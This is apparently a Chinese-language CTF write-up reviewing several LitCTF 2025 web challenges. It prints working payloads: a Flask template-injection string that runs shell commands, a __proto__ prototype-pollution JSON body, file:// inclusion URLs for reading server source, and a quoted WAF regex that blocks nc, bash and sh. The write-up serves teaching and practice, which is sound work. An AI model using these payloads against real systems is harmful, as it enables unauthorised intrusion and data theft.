LitCTF 2025 Web 詳解
LitCTF 2025 Web
這個比賽結束好久了,今天簡單復盤一下幾道Web題

混了個優秀獎,還行,主要就是見好題呢

nest_js
弱口令admin/password,登錄進去就給flag
ez_file
登錄頁面源碼提示用file協議查看,存在文件包含利用點

弱密碼admin/password直接登錄成功
既然存在文件包含漏洞,后綴改為jpg即可

看來對文件內容進行檢測了,一般是檢測 <? 或者 php 可以試著js或短標簽繞過

短標簽繞過成功

使用file進行包含利用即可

星愿信箱
直接就是一個輸入框,類似經典ssti的復讀機

使用插件看出是flask框架,應該是python的ssti

進行測試,發現{{}}似乎被ban了

使用{%%}繞過

使用hackbar中flask的payload直接直接利用即可
{"cmd":"給我{%print(g.pop.__globals__.__builtins__['__import__']('os').popen('tac /f*').read())%}"}

多重宇宙日記
注冊后登錄進去

可以通過json來更新設置,存在利用點,接著對JS源碼進行分析
首先看表單提交處理部分,僅處理預設字段,結構固定,不能進行利用,但是提供了isAdmin這個管理員標識屬性
// 監聽表單提交事件
document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {
event.preventDefault();
const settingsPayload = {};
// 收集表單中的theme和language字段
if (formData.get('theme')) settingsPayload.theme = formData.get('theme');
if (formData.get('language')) settingsPayload.language = formData.get('language');
// 發送POST請求到更新接口
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ settings: settingsPayload }) // 數據包裹在settings鍵下
});
// 成功后刷新頁面(關鍵注釋)
if (response.ok) {
setTimeout(() => window.location.reload(), 1000); // 若isAdmin改變則更新導航欄
}
});
接下來看原始 JSON 提交處理,允許自定義任意 JSON 結構,包括嵌套的__proto__字段
async function sendRawJson() {
const rawJson = document.getElementById('rawJsonSettings').value;
const parsedJson = JSON.parse(rawJson); // 解析用戶輸入的JSON
// 直接發送用戶輸入的JSON數據到同一接口
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(parsedJson) // 無格式限制,完全由用戶控制
});
// 同樣在成功后刷新頁面
if (response.ok) {
setTimeout(() => window.location.reload(), 1000); // 關聯isAdmin狀態更新
}
}
通過/api/profile/update接口進行__proto__注入:通過該字段將isAdmin: true寫入對象原型,實現全局污染。

添加嵌套的__proto__字段進行原型鏈污染
{"settings":{"theme":"123","language":"123","__proto__": {"isAdmin": true}}}
更新后出現管理員面板,點擊即可獲得flag

easy_signin
初始頁面為403,目錄掃描獲取兩個路徑

一個是狀態響應一個是登錄頁面
在api.js中有一個路由,推測該接口可能存在文件讀取或遠程請求功能

/api/sys/urlcode.php?url=php://filter/convert.base64-encode/resource=api/sys/urlcode.php
直接讀取當然不行,使用php:// 協議讀取被禁了

拼接路徑,使用file協議讀取源碼
api/sys/urlcode.php?url=file:///var/www/html/api/sys/urlcode.php

<?php
error_reporting(0);
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_REQUEST['url'];
if($url){
$forbidden_protocols = ['ftp://', 'php://', 'zlib://', 'data://', 'glob://', 'phar://', 'ssh2://', 'rar://', 'ogg://', 'expect://'];
$protocol_block = false;
foreach ($forbidden_protocols as $proto) {
if (strpos($url, $proto) === 0) {
$protocol_block = true;
break;
}
}
$log_block = strpos($url, '.log') !== false;
if ($protocol_block) {
echo "禁止訪問:不允許使用 {$proto} 協議";
} elseif ($log_block) {
echo "禁止訪問:URL 包含 .log";
} elseif (strpos($url, 'login.php') !== false || strpos($url, 'dashboard.php') !== false || strpos($url, '327a6c4304ad5938eaf0efb6cc3e53dc.php') !== false) {
echo "看不見哦";
} else {
echo "<b>".$url." 的快照如下:</b><br><br>";
echo "<pre>";
curl($url);
include($url);
echo "</pre>";
}
}
?>
嘗試讀取限制的文件,一直改路徑都沒成功,直接訪問,獲取flag

還有些大佬是登錄進去獲取了一個路由,進行SSRF讀取flag的
登錄后路由給出路由backup/8e0132966053d4bf8b2dbe4ede25502b.php
同樣拼接進行讀取
view-source:http://node6.anna.nssctf.cn:21528/api/sys/urlcode.php?url=file:///var/www/html/backup/8e0132966053d4bf8b2dbe4ede25502b.php

<?php
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
highlight_file(__FILE__);
$name="waf";
$name = $_GET['name'];
if (preg_match('/\b(nc|bash|sh)\b/i', $name)) {
echo "waf!!";
exit;
}
if (preg_match('/more|less|head|sort/', $name)) {
echo "waf";
exit;
}
if (preg_match('/tail|sed|cut|awk|strings|od|ping/', $name)) {
echo "waf!";
exit;
}
exec($name, $output, $return_var);
echo "執行結果:\n";
print_r($output);
echo "\n返回碼:$return_var";
} else {
echo("非本地用戶");
}
?>
僅限本地訪問(REMOTE_ADDR == 127.0.0.1),只能通過SSRF繞過
由于urlcode.php可發起本地請求(通過curl和include),結合其未過濾http://協議的特性,構造 SSRF payload 進行RCE
查找flag,二次url編碼后讀取上一個目錄找到一個php文件
注:對目標路徑進行二次 URL 編碼,避免特殊字符被攔截

同樣,只有訪問才能看見,不能進行讀取

主要對 LitCTF 2025 Web 的題目進行復盤總結
浙公網安備 33010602011771號